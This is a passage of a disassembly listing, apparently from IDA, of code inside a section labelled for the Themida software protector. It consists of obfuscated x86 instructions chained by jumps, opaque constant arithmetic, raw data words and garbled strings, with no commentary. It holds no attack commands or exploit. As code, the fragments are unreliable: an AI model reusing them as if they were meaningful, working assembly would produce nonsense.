jmp loc_554D8D
; ---------------------------------------------------------------------------
loc_557EA8: ; CODE XREF: Themida_:00558449j
push dword ptr [esp]
pop edx
jmp loc_55F4DE
; ---------------------------------------------------------------------------
byte_557EB1 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00552AFCo
dd 0E9545024h, 0F3F9h, 0E92434FFh, 0FFFFC1EBh, 0FFACF2E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_557EC9: ; CODE XREF: Themida_:0055F6F5j
shl ecx, 4
not ecx
push eax
jmp loc_557FEB
; ---------------------------------------------------------------------------
dd 33241C31h, 26E9241Ch
db 9Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_557EDF: ; CODE XREF: Themida_:005616C5j
add edx, 0FFEEDF18h
push edx
pop ebx
pop edx
push ebp
mov ebp, 22AB700Bh
sub ebp, 7BF8260Dh
shr ebp, 8
sub ebp, 0B349AF9Bh
jmp loc_55C353
; ---------------------------------------------------------------------------
dw 0B551h
dd 3EC58072h, 0C580D5F6h, 0AD1BE940h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_557F12: ; CODE XREF: Themida_:00560752j
shl ebx, 3
jmp loc_5655B1
; ---------------------------------------------------------------------------
dw 0E958h
dd 0FFFFF89Ah
; ---------------------------------------------------------------------------
loc_557F20: ; CODE XREF: Themida_:00555241j
pop edx
and eax, esi
push dword ptr [esp]
mov esi, [esp]
add esp, 4
push edx
mov edx, esp
sub esp, 4
mov [esp], ebp
push edi
mov edi, 735B1C48h
or edi, 32B43A1Fh
jmp loc_55AE22
; ---------------------------------------------------------------------------
db 89h, 4, 24h
aSR db '╟,ИгЮ',0
db 0
; ---------------------------------------------------------------------------
loc_557F53: ; CODE XREF: Themida_:0055A71Cj
push 7B93h
jmp loc_559627
; ---------------------------------------------------------------------------
loc_557F5D: ; CODE XREF: Themida_:0055BDA3j
mov eax, [esp]
push 1235h
mov [esp], ecx
push esp
jmp loc_56136E
; ---------------------------------------------------------------------------
dw 5F54h
dd 4C781h, 0C7810000h, 4, 31243C33h, 77E9243Ch, 68000098h
dd 71C0h, 68240489h, 678h, 83242489h, 58042404h, 7F61E9h
dd 69CF6800h, 0C890000h, 48A0B924h, 91E947D9h, 100007Fh
dd 68575BD8h, 4, 4374E95Fh, 0F660000h, 9C2404ABh, 58CDE9h
dd 0DF295E00h, 0AC7E95Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_557FD6: ; CODE XREF: Themida_:00559C5Dj
push ebp
sub esp, 4
jmp loc_55F4F0
; ---------------------------------------------------------------------------
db 59h
dd 1BD55h, 7FE90000h
db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_557FEB: ; CODE XREF: Themida_:00557ECFj
mov eax, 6E15F1h
xor ecx, eax
pop eax
add ecx, 0E4DE7756h
jmp loc_553258
; ---------------------------------------------------------------------------
loc_557FFE: ; CODE XREF: Themida_:005616FCj
mov edx, ebx
mov [edi+20h], edx
pop edx
jmp loc_5680CF
; ---------------------------------------------------------------------------
aFbxFbIosrs db 'f│Е╬[f│е┬oИrХ',0
align 4
dd 0BA52E589h, 325C04E0h, 3E9D2F7h, 890000F9h, 74B7241Ch
dd 9DE9FD88h
db 0E2h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_558033: ; CODE XREF: Themida_:00561F33j
xor esi, 35DA76AFh
push ebx
jmp loc_555676
; ---------------------------------------------------------------------------
db 81h
dd 2C4h, 0E9C60800h, 0C870h, 3D63ED81h, 0F5811744h, 62097662h
dd 491FE9h, 50D70100h, 0FFEDB0E9h, 300BDFFh, 6C2924C1h
dd 0DFE90824h, 56000058h, 42746855h, 0E95D67B8h, 0FFFFFFCCh
dd 571768h, 0B97CE900h, 29B80000h, 487B4162h, 508E0C1h
dd 13BE4017h, 158C701h, 2F08E9C7h
db 2 dup(0)
word_5580A2 dw 0C8Bh ; DATA XREF: Themida_:00552A50o
dd 4EC8324h, 0E9241C89h, 6A36h, 6042F381h, 0D3010432h
dd 8B5B0303h, 69E92414h
db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5580C3: ; CODE XREF: Themida_:00556F45j
xchg esi, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], ebp
sub esp, 4
mov [esp], eax
jmp loc_565693
; ---------------------------------------------------------------------------
loc_5580E0: ; CODE XREF: Themida_:0055EAC0j
pop esp
add ecx, 4
push ebp
jmp loc_55AFC2
; ---------------------------------------------------------------------------
db 1, 0F2h, 5Eh
dd 31241433h, 14332414h, 649EE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
jmp loc_56282F
; ---------------------------------------------------------------------------
dd 8C7BC0B8h, 0F217054Bh, 0C5290FB0h, 5DEB8958h, 9FB85057h
dd 2D6F6C39h, 7A9D7C41h, 0BD55D0F7h, 234462D7h, 1952ED81h
dd 0C14564A7h, 814505E5h, 1EDB3F5h, 8BE801EAh, 0C481242Ch
dd 4, 675E9805h, 58C789C8h, 60C0E9h, 1C470900h, 8B2434FFh
dd 0C4832404h, 0DFE95504h
db 0BDh, 2 dup(0)
aNwhu db '╜WhН',8,0 ; DATA XREF: Themida_:00552A38o
align 2
aS_7 db 'И',0Ah
db '/',0
dw 8B00h
dd 43E92424h, 5DFFFFF0h, 45E9EA31h
db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_558187: ; CODE XREF: Themida_:00558693j
mov [esp], eax
mov eax, 529309DEh
shl eax, 3
neg eax
push ebx
jmp loc_55B66F
; ---------------------------------------------------------------------------
word_55819A dw 1968h ; DATA XREF: Themida_:00552B58o
dd 89000008h, 74FF240Ch, 34FF0424h, 240C8B24h, 6971E9h
db 0
byte_5581B1 db 0FFh, 34h, 24h ; DATA XREF: Themida_:005529FCo
dd 8B2434FFh, 89562404h, 30E953E6h, 1FFFFBFh, 240C8BCAh
dd 4C481h, 0BB530000h, 7BE72B57h, 0B571EB81h, 0E3C125A8h
dd 52E38104h, 430EBE06h, 5EF8F381h, 0F6E9095Ah, 500000Eh
dd 664C1E7Bh, 0CF04E9h
db 0
; ---------------------------------------------------------------------------
loc_5581F9: ; CODE XREF: Themida_:0055F05Ej
not edx
inc edx
sub edx, 8439B464h
sub ebx, edx
pop edx
pop edi
sub esp, 4
mov [esp], ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
jmp loc_5561FF
; ---------------------------------------------------------------------------
dw 0EC83h
dd 24348904h, 24348B54h, 4C481h, 0C6810000h, 4, 0FFF916E9h
dd 2434FFFFh, 8324348Bh, 0E95504C4h, 8148h
; ---------------------------------------------------------------------------
loc_558244: ; CODE XREF: Themida_:00564305j
mov edi, 79EA3D34h
not edi
jmp loc_554A2F
; ---------------------------------------------------------------------------
dd 0F787D7F7h, 548AE9h, 36BA5200h, 8119F418h, 216E37E2h
dd 3C31E939h, 4CE90000h, 81FFFFA9h, 9D3404F3h, 0FD39E979h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55827A: ; CODE XREF: Themida_:005568B4j
pop esp
sub esp, 4
jmp loc_55A407
; ---------------------------------------------------------------------------
db 8Bh
dd 0C4812414h, 4, 3C2EE9h, 0A925E900h, 0FF5AFFFFh, 685A2434h
dd 586Dh, 6D93E9h, 0C3815B00h, 7C47C13h, 0E489E9h
db 0
; ---------------------------------------------------------------------------
loc_5582B1: ; CODE XREF: Themida_:0055AEBFj
or eax, eax
jz loc_562FC9
push ebp
push esp
jmp loc_561D0B
; ---------------------------------------------------------------------------
dd 6FC055Eh, 2CE92B97h, 0B8FFFFDEh, 1E027BF9h, 4244481h
dd 2BD07B90h, 0C8B5E9h
db 0
; ---------------------------------------------------------------------------
loc_5582DD: ; CODE XREF: Themida_:0056466Dj
push esi
push ecx
mov ecx, 4
mov esi, ecx
pop ecx
jmp loc_5558D7
; ---------------------------------------------------------------------------
loc_5582EC: ; CODE XREF: Themida_:00560947j
mov eax, 5F5C2BF8h
add eax, 8243523h
jmp loc_555F6A
; ---------------------------------------------------------------------------
db 31h
dd 2434FFFAh, 0E189515Fh, 46856h, 15E0000h, 0C1835EF1h
dd 74FF5104h, 8F590424h, 815C2404h, 2A1AC8EBh, 81D30157h
dd 2A1AC8C3h, 24148B57h, 4C481h, 1C330000h, 241C3124h
dd 8B241C33h, 34FF2424h, 24048B24h, 4C481h, 81530000h
dd 4ECh, 35E95400h
db 40h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_558357: ; CODE XREF: Themida_:005610A9j
mov edi, 5F3F3561h
xor edi, esi
pop esi
and edi, 6FF002C8h
sub esp, 4
mov [esp], edx
push 9FEBFA10h
pop edx
sub edi, edx
pop edx
jmp loc_553F08
; ---------------------------------------------------------------------------
loc_558379: ; CODE XREF: Themida_:00555E43j
mov edx, [esp]
add esp, 4
jmp loc_5542BE
; ---------------------------------------------------------------------------
dd 4BA52h, 0D6890000h, 0FFF23FE9h, 53DAF7FFh, 442B32BBh
dd 0A2E94B3Bh
db 0E5h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55839F: ; CODE XREF: Themida_:005531C3j
mov esi, 24A12E4Ah
sub esi, 0B450E3AEh
mov edi, esi
pop esi
xor edi, 4DFA65A0h
sub edi, 50502D65h
sub edi, 0A032B503h
sub ebx, edi
pop edi
sub ebx, 0B884FF8h
add ebx, 2076D4Fh
sub ebx, eax
sub ebx, 2076D4Fh
jmp loc_55850A
; ---------------------------------------------------------------------------
byte_5583DB db 66h ; DATA XREF: Themida_:0055296Co
dd 6824048Bh, 667Ch, 68241489h, 5DC8h, 83242489h, 0FF042404h
dd 0E95A2434h, 70D4h, 775AF581h, 0ED814DCBh, 0D942E5E5h
dd 0E95DE801h, 1039h
; ---------------------------------------------------------------------------
loc_558410: ; CODE XREF: Themida_:0055AA8Cj
mov ebx, esp
add ebx, 4
push eax
mov eax, 4
jmp loc_567B14
; ---------------------------------------------------------------------------
db 89h
dd 0BB532424h, 4, 4244481h, 0CBE4D3Dh, 4245C01h, 4246C81h
dd 0CBE4D3Dh, 3B7EE95Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_558446: ; CODE XREF: Themida_:0055AD2Dj
pop eax
add esi, edx
jmp loc_557EA8
; ---------------------------------------------------------------------------
dw 3C8Bh
dd 4C48124h, 0E9000000h, 3C61h, 83240C8Bh, 0F72C04C4h
dd 0B652D028h, 0BCCE8081h, 8008EEC0h, 0EE80A7E6h, 6EEC007h
dd 0F4B15166h, 5966CE00h, 148BF000h, 4C48124h, 5A000000h
db 0, 0D8h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_55CB46
; ---------------------------------------------------------------------------
dw 0EE81h
dd 732F28A0h, 0F7895759h, 0D3F7E951h
db 2 dup(0FFh)
off_5584A6 dd offset dword_580968 ; DATA XREF: Themida_:00552A40o
dw 6800h
dd 4D8Bh, 0E9242489h, 0D11Eh
; ---------------------------------------------------------------------------
loc_5584B8: ; CODE XREF: Themida_:0055CD02j
pop ebx
mov cl, dh
jmp loc_55BEA9
; ---------------------------------------------------------------------------
dd 6DDDC681h, 0D6010813h, 6DDDEE81h, 335A0813h, 0BAE92434h
db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5584D7: ; CODE XREF: Themida_:0055A284j
inc ch
add ch, 1Eh
or dl, ch
mov ecx, [esp]
add esp, 4
jmp loc_56203F
; ---------------------------------------------------------------------------
dd 5BDE8958h, 4247429h, 0C37685Eh, 1DE90000h
db 0EFh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5584FF: ; CODE XREF: Themida_:0056430Cj
sub esi, 4E600C06h
jmp loc_55ADFE
; ---------------------------------------------------------------------------
loc_55850A: ; CODE XREF: Themida_:005583D6j
push esi
mov esi, 0B884FF8h
add ebx, 6C055CEDh
add ebx, esi
sub ebx, 6C055CEDh
pop esi
push ebp
push 4D274CD4h
jmp loc_56028B
; ---------------------------------------------------------------------------
loc_55852A: ; CODE XREF: Themida_:0055D238j
mov edi, edx
jmp loc_558590
; ---------------------------------------------------------------------------
db 35h, 78h, 18h
dd 0C3814850h, 18B84D20h, 0EB81C329h, 18B84D20h, 5EE95258h
db 0D1h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55854B: ; CODE XREF: Themida_:00553BEAj
pop eax
add eax, 1015914Ch
mov edx, eax
pop eax
and edx, 49D5BE2h
shl edx, 2
and edx, 663E7FA1h
jmp loc_5616C2
; ---------------------------------------------------------------------------
loc_558568: ; CODE XREF: Themida_:0056009Dj
push ebp
push ecx
mov ecx, 1BA50C91h
mov ebp, 77D362E1h
sub ebp, ecx
mov ecx, [esp]
push ebp
mov ebp, esp
jmp loc_5579C3
; ---------------------------------------------------------------------------
db 5, 0D7h, 41h
aIjhQ db '╗Jh~q',0
dw 0E900h
dd 74CFh
; ---------------------------------------------------------------------------
loc_558590: ; CODE XREF: Themida_:0055852Cj
mov edx, [esp]
add esp, 4
add ebp, edi
pop edi
jmp loc_56301C
; ---------------------------------------------------------------------------
db 81h, 0C3h, 0FFh
dd 81FFFFFFh, 0EC44B8EBh, 0B2BD550Dh, 0C1500305h, 0E1E905EDh
dd 0BE00004Ch, 671D0018h, 0C8E9F701h
db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5585C7: ; CODE XREF: Themida_:00557CDEj
shl edx, 7
add edx, 7D8527F4h
jmp loc_55FC8A
; ---------------------------------------------------------------------------
db 51h, 0FFh, 74h
dd 0C8B0424h, 4C48124h, 8F000000h, 0E95C2404h, 5F5Fh
; ---------------------------------------------------------------------------
loc_5585EC: ; CODE XREF: Themida_:005630EEj
and ecx, edi
jmp loc_566CDB
; ---------------------------------------------------------------------------
loc_5585F3: ; CODE XREF: Themida_:0055A4EEj
mov ebp, 2B6F5B60h
jmp loc_564C8A
; ---------------------------------------------------------------------------
aVksMyVsi db '©}$vKS╩MYЁVИКи',0
dd 0AABB5300h, 0E917611Bh, 85C1h, 5726F581h, 0EA0130C1h
dd 96F2815Dh, 0E9347C23h, 0A0F5h
dword_55862C dd 240C8B66h, 4EC81h, 4890000h, 81585424h, 4ECh, 240C8900h
; DATA XREF: Themida_:005529A8o
dd 0E96E65B9h, 0BBBF5762h, 29364942h, 8109E9F9h, 4870000h
dd 24248B24h, 8B24048Fh, 89662424h, 0F66240Ch, 5166C8B6h
dd 0A549E99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_558672: ; CODE XREF: Themida_:0055D51Bj
pop ecx
sub edi, 4AC4707Ah
shr edi, 2
sub edi, 1
not edi
sub edi, 0C1FB4D3Ch
sub eax, edi
pop edi
xchg eax, [esp]
mov esp, [esp]
jmp loc_558187
; ---------------------------------------------------------------------------
dd 0A87F681h, 0EE8128E0h, 0C8255E18h, 0E95EF329h, 0BD86h
dd 89241489h, 4C281E2h, 55000000h, 4BDh, 5DEA2900h, 5C241487h
dd 24048F54h, 4240481h, 5B000000h, 4C381h, 0C3830000h
dd 0E7895704h, 0FFC14DE9h, 240487FFh, 0D19E95Ch, 348B0000h
dd 4FD2E924h, 0E62D0000h, 29193414h, 3BB951D0h, 0F703263Eh
dd 0E48CE9D1h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_558706: ; CODE XREF: Themida_:00552CA8j
inc esi
sub esi, 68482800h
jmp loc_565D6D
; ---------------------------------------------------------------------------
loc_558712: ; CODE XREF: Themida_:00554BF4j
sub edi, 0CF800EFh
add ecx, 35D41C3Ch
add ecx, edi
sub ecx, 35D41C3Ch
mov edi, [esp]
add esp, 4
push edi
mov edi, 7EC97BECh
add eax, edi
pop edi
add eax, ecx
sub eax, 7EC97BECh
pop ecx
sub eax, 5A5A2D0Ch
sub eax, ebx
add eax, 5A5A2D0Ch
push ebx
mov ebx, 2D736308h
neg ebx
or ebx, 35187F42h
sub ebx, 35EE544Eh
sub ebx, 1
not ebx
sub ebx, 0C9CF0C12h
sub eax, ebx
jmp loc_56146D
; ---------------------------------------------------------------------------
loc_55876F: ; CODE XREF: Themida_:00562042j
or dl, 0A7h
jmp loc_563CAA
; ---------------------------------------------------------------------------
db 29h
dd 0BFE981D9h, 8B0D866Ah, 0C481241Ch, 4, 0E668DA2Dh, 0C815E967h
dd 0F1050000h, 0E9D76DBDh, 11ECh, 4797E954h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5587A2: ; CODE XREF: Themida_:00565D7Bj
mov esi, [esp]
add esp, 4
jmp loc_55AECC
; ---------------------------------------------------------------------------
dd 0D00157BDh, 5DEF2968h, 1E10EF81h, 0F7297F74h, 0FFEC9FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5587C5: ; CODE XREF: Themida_:0055F4CBj
mov edx, 108C0EC3h
xor edx, 14D74FE7h
jmp loc_567D0C
; ---------------------------------------------------------------------------
db 8Bh, 34h, 24h
dd 0A0F7E9h, 0C895C00h, 0A3D5E924h, 433FFFFh, 24248B24h
dd 4CED68h, 243C8900h, 2434FF54h, 5F2434FFh, 76E6E9h, 42DAF700h
dd 57ABC281h, 0E7E979B0h, 5A0000C3h, 0E904C483h, 0FFFFAA19h
dd 81241430h, 4ECh, 241C8900h, 64F8E9h
db 0
; ---------------------------------------------------------------------------
loc_558829: ; CODE XREF: Themida_:00560AD6j
mov edi, 8D13DB8h
mov esi, 511338FEh
xor esi, edi
jmp loc_556E91
; ---------------------------------------------------------------------------
dw 7268h
dd 8900007Fh, 4B9240Ch, 0E9000000h, 862Eh, 0D552D805h
dd 7F87E95Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_558856: ; CODE XREF: Themida_:0056420Ej
add ebp, esi
pop esi
jmp loc_55A6F4
; ---------------------------------------------------------------------------
loc_55885E: ; CODE XREF: Themida_:0055AE30j
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_553D85
; ---------------------------------------------------------------------------
db 81h
dd 4ECh, 242C8900h, 399C68h, 0D16AE900h, 348BFFFFh, 4C48324h
dd 8904EC83h, 6851242Ch, 22373C37h, 0D0C18159h, 0E9319550h
dd 2D90h, 5FFE8959h, 500ACE81h, 0EE815708h, 76FF1504h
dd 0E780E9h, 3A685500h, 0E900000Bh, 1BE2h
; ---------------------------------------------------------------------------
loc_5588C4: ; CODE XREF: Themida_:00562704j
add esp, 4
add esp, 4
xor ebx, eax
jmp loc_55EEB1
; ---------------------------------------------------------------------------
aI4S db '┴4$Ий!',0
align 4
loc_5588DC: ; CODE XREF: Themida_:0055DE8Cj
shr dl, 7
push 0AA6h
mov [esp], ebx
mov bl, 28h
jmp loc_559463
; ---------------------------------------------------------------------------
dw 0F588h
dd 0B652665Ah, 66F500FFh, 1BC5805Ah, 39E5E9h, 4EC8300h
dd 0FFD077E9h, 1604BEFFh, 0C14673EAh, 0FD6807EEh, 0E9000015h
dd 0FFFFEC83h
; ---------------------------------------------------------------------------
loc_55891C: ; CODE XREF: Themida_:005678CBj
mov [esp], eax
push 4C4h
mov [esp], edx
push ecx
mov ecx, 0DB416Fh
shr ecx, 2
dec ecx
jmp loc_5553B9
; ---------------------------------------------------------------------------
loc_558936: ; CODE XREF: Themida_:0055DEAEj
add edi, esi
pop esi
push esi
push ebx
push 25554B41h
pop ebx
jmp loc_55E489
; ---------------------------------------------------------------------------
dw 34FFh
dd 6685F24h, 89000004h, 20E9242Ch, 8900002Eh, 0E34CE9EFh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55895E: ; CODE XREF: Themida_:00561C71j
mov esp, [esp]
mov [esp], eax
push 4238h
jmp loc_5555EB
; ---------------------------------------------------------------------------
dw 0B850h
dd 16E14796h, 0A3CAE940h, 0BA52FFFFh, 68145AB1h, 85ACEBBEh
dd 9968E9C1h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55898A: ; CODE XREF: Themida_:0055CC34j
mov edx, [esp]
jmp loc_55B482
; ---------------------------------------------------------------------------
loc_558992: ; CODE XREF: Themida_:00566706j
add ebp, 430E9400h
push ebx
mov ebx, 5324191Dh
jmp loc_564C00
; ---------------------------------------------------------------------------
db 87h
dd 895C241Ch, 74FF2434h, 8F5E0424h, 34E92404h
db 1Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5589B7: ; CODE XREF: Themida_:00566CDCj
sub ecx, 0C9CFD7C8h
and edx, ecx
pop ecx
neg edx
push 7A98h
mov [esp], ebx
mov ebx, 1DD35827h
xor edx, ebx
pop ebx
jmp loc_565D62
; ---------------------------------------------------------------------------
loc_5589D7: ; CODE XREF: Themida_:0055C6B9j
add bl, 0B1h
xor dl, bl
pop ebx
sub bl, 88h
sub bl, dl
push eax
mov eax, esp
push ebx
jmp loc_55771D
; ---------------------------------------------------------------------------
db 0F7h
dd 50E6D1D6h, 565F46B8h, 13DBE90Eh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5589FA: ; CODE XREF: Themida_:00553588j
mov ecx, 0
add ecx, 2A643F86h
add ecx, ebx
push edi
mov edi, 18FC1608h
dec edi
add edi, 7EA41740h
xor edi, 671C0213h
xor edi, 11F117B5h
and edi, 4ED747C1h
add edi, 0EA1F3EC5h
sub ecx, edi
mov edi, [esp]
add esp, 4
add [ecx], ebp
pop ecx
pop ebx
pop eax
jmp loc_564700
; ---------------------------------------------------------------------------
loc_558A41: ; CODE XREF: Themida_:0055CA81j
xchg ecx, [esp]
jmp loc_554850
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 0E9000000h, 0FFFFDAD6h
; ---------------------------------------------------------------------------
loc_558A54: ; CODE XREF: Themida_:0055F6EBj
mov [esp], edx
jmp loc_55D1D4
; ---------------------------------------------------------------------------
dd 1ED805Ch, 0F580D5F6h, 59E8288Eh, 0EC83D800h, 241C8904h
dd 27E9A3B7h
db 0CDh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_558A77: ; CODE XREF: Themida_:0055AF12j
xor edx, 0A48DEDB6h
mov ebx, edx
pop edx
jmp loc_561509
; ---------------------------------------------------------------------------
loc_558A85: ; CODE XREF: Themida_:00553A85j
add ebp, 0F3B7353h
sub ebp, 0E9A4107h
and ebp, 50086976h
push edx
jmp loc_55CEAC
; ---------------------------------------------------------------------------
db 81h, 0C7h, 0F5h
dd 3188A9CEh, 0C5295FF8h, 5DEB0158h, 0FFD796E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_558AB1: ; CODE XREF: Themida_:00567A6Fj
jmp loc_552BBB
; ---------------------------------------------------------------------------
dw 64BDh
dd 13F9102h, 69E95DEEh
db 91h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_558AC3: ; CODE XREF: Themida_:00555B90j
mov edx, edi
jmp loc_557548
; ---------------------------------------------------------------------------
aSiViIr8YritsI db 'S┴кV┴ч┴r8^[YR┴БИ',0Ah
db 'i',0
align 2
dw 0D068h
dd 8900001Eh, 74FF242Ch, 2C8B0424h, 4C48324h, 5C24048Fh
dd 0E20AE9h, 245C2900h, 44015B08h, 0BD550424h, 2F006121h
dd 8246C01h, 2444815Dh, 272FE304h, 6EE95848h, 0B6FFFFCFh
dd 66F30023h, 0E950665Ah, 47CDh, 0E9242489h, 4574h, 685EF201h
dd 179Eh, 0BD242C89h, 3FBD7920h, 585DEA29h, 3C2AE9h, 4C08300h
dd 0E9240487h, 599Fh, 4C281h, 14870000h, 0BDE95C24h, 8B00001Dh
dd 5451241Ch, 20DAE9h, 24143300h, 2424895Ch, 90AE952h
dd 0EA810000h, 42FB5F5Fh, 0F114652Dh, 5D00104h, 4F11465h
dd 6824148Bh, 3B93h, 89242C89h, 4C581E5h, 81000000h, 4C5h
dd 242C8700h, 5394E95Ch, 0C330000h, 240C3124h, 8B240C33h
dd 79E92424h
db 0D1h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_558BBF: ; CODE XREF: Themida_:00553A1Fj
pop edx
jmp loc_5645FD
; ---------------------------------------------------------------------------
loc_558BC5: ; CODE XREF: Themida_:00556FD1j
mov [esp], edx
mov dl, 2Ch
push eax
mov al, 0Bh
jmp loc_55DE89
; ---------------------------------------------------------------------------
loc_558BD2: ; CODE XREF: Themida_:00560AFCj
mov ebx, 4
add edi, 3F921D03h
sub edi, ebx
jmp loc_5650A7
; ---------------------------------------------------------------------------
dd 0B87EB22Dh, 0AABD555Fh, 316F2066h, 0A1F7E9E8h, 0D7F70000h
dd 5224F781h, 0C781515Ah, 0C5E536D2h, 515FF901h, 1BF7E9h
dd 24248B00h, 24148966h, 6D041AB2h, 6D2CD028h, 24148B66h
dd 0FFBA4DE9h, 243C89FFh, 0C781E789h, 4, 112C68h, 242C8900h
dd 4BDh, 0CDC78100h, 156AE5Fh, 0CDEF81EFh, 8B56AE5Fh, 0C483242Ch
dd 74FF5704h, 8F5F0424h, 815C2404h, 9F4BE0CBh, 8EC8E93Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_558C66: ; CODE XREF: Themida_:0055CE24j
mov [esp], edx
jmp loc_562655
; ---------------------------------------------------------------------------
dw 0CF81h
dd 63427EC2h, 76D5C781h, 0FA01A29Ah, 0EB05E95Fh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_558C82: ; CODE XREF: Themida_:005619B8j
sub eax, 2F579537h
add ebp, eax
pop eax
jmp loc_559C88
; ---------------------------------------------------------------------------
loc_558C8F: ; CODE XREF: Themida_:00562549j
sub ebp, edi
pop edi
jmp loc_566D9D
; ---------------------------------------------------------------------------
db 81h
dd 42404h, 0E9590000h, 8481h, 5B66F800h, 2EC81h, 89660000h
dd 0A3B7241Ch, 8B66F830h, 0FDE9241Ch
db 1, 2 dup(0)
; ---------------------------------------------------------------------------
loc_558CBF: ; CODE XREF: Themida_:0055AC70j
sub edx, ebx
pop ebx
sub eax, 6FDA1ACAh
add eax, 341873B4h
jmp loc_5644F2
; ---------------------------------------------------------------------------
db 81h, 0C5h, 0D4h
dd 56078A27h, 2C1480BEh, 60EE817Fh, 816AB003h, 4427D1CEh
dd 0A75DE94Bh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_558CEE: ; CODE XREF: Themida_:005537F3j
push 4A92h
mov [esp], ebx
jmp loc_556680
; ---------------------------------------------------------------------------
db 59h
dd 0EB81CB01h, 5E7824A5h, 57240C8Bh, 0C781E789h, 4, 5655E9h
dd 4EC8100h, 89000000h, 0BF243Ch, 89000002h, 243C8BF8h
dd 0FFAE24E9h, 243C8BFFh, 4C481h, 0C7810000h, 4, 0D2DFE956h
dd 14890000h, 2474FF24h, 0DB5CE904h, 88B80000h, 0E9788C2Ch
dd 4EC1h, 1EACC281h, 0BB5365EBh, 9DE5D16h, 1308EB81h, 0DA315405h
dd 5AD3315Bh, 485BD889h, 0AA2DDD35h, 403B3546h, 0C7014163h
dd 582434FFh, 0FFBEADE9h, 6EAB68FFh, 0CAE92C17h
db 84h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_558D93: ; CODE XREF: Themida_:0055A649j
sub ebx, edi
add ebx, 7F3179EAh
sub ebx, 5A112D5Fh
mov edi, [esp]
add esp, 4
shl ebx, 6
jmp loc_55BCB5
; ---------------------------------------------------------------------------
aIS3e db '┴<$И3E',0
dw 4200h
dd 0E903E2C1h, 8852h, 0FB31C681h, 0F1311AEEh, 0F06DE95Eh
dd 8B5E0000h, 45E9243Ch, 800000F3h, 0DC28AAC3h, 0A022E95Bh
db 2 dup(0)
word_558DE2 dw 83ADh ; DATA XREF: Themida_:00552918o
dd 0F00207Fh, 2E4984h, 4EC8300h, 1151E9h, 40500h, 17E90000h
db 89h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_558DFF: ; CODE XREF: Themida_:0055F811j
mov eax, [esp]
push esi
mov esi, esp
add esi, 4
jmp loc_564BEB
; ---------------------------------------------------------------------------
aVPgOsV db 'V╬PGцOИ╢V',0
dw 0FF00h
dd 52582404h, 3527EDBAh, 0C1D2F70Eh, 0E95507E2h, 3FDh
dd 4EC815Dh, 89000000h, 0DFB82404h, 0E90B5465h, 0D2DAh
dd 0E9240487h, 8CC0h
; ---------------------------------------------------------------------------
loc_558E4C: ; CODE XREF: Themida_:00559818j
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
jmp loc_55EFF0
; ---------------------------------------------------------------------------
loc_558E5A: ; CODE XREF: Themida_:00555AE6j
add edx, 719608E4h
add edx, eax
sub edx, 719608E4h
mov eax, [esp]
add esp, 4
jmp loc_5643E4
; ---------------------------------------------------------------------------
dw 0E8B8h
dd 29CF6CC1h, 0BE5658C5h, 7BDE537Ch, 3D3DED81h, 0F5290A84h
dd 3D3DC581h, 0E95E0A84h, 0FFFFCA99h
; ---------------------------------------------------------------------------
loc_558E98: ; CODE XREF: Themida_:0055B4DEj
push ecx
jmp loc_55E0C7
; ---------------------------------------------------------------------------
loc_558E9E: ; CODE XREF: Themida_:00564776j
add ebp, 235264A7h
add ebp, edx
sub ebp, 235264A7h
jmp loc_563A5F
; ---------------------------------------------------------------------------
aBcIbshb db '│Ф╠|⌡bИh║',0
align 4
dd 81E18951h, 4C1h, 2C18100h, 87000000h, 505C240Ch, 0BF57E089h
dd 684C0DD9h, 5231E9h, 1C38100h, 43000000h, 5909F381h
dd 0DF89513Dh, 81241C8Bh, 4C4h, 0AFE78100h, 51710772h
dd 6F18F1B9h, 59CF0962h, 0BE95651h, 0BAFFFFD6h, 12E90750h
dd 8107EAC1h, 0FE2438CAh, 0C6C28135h, 1CA0009h, 2C335AD5h
dd 242C3124h, 442FE9h
db 0
; ---------------------------------------------------------------------------
loc_558F2D: ; CODE XREF: Themida_:00560748j
mov ecx, 37522F48h
mov esi, 6AAC4D04h
xor esi, ecx
pop ecx
mov edx, 78DC949h
jmp loc_552FC4
; ---------------------------------------------------------------------------
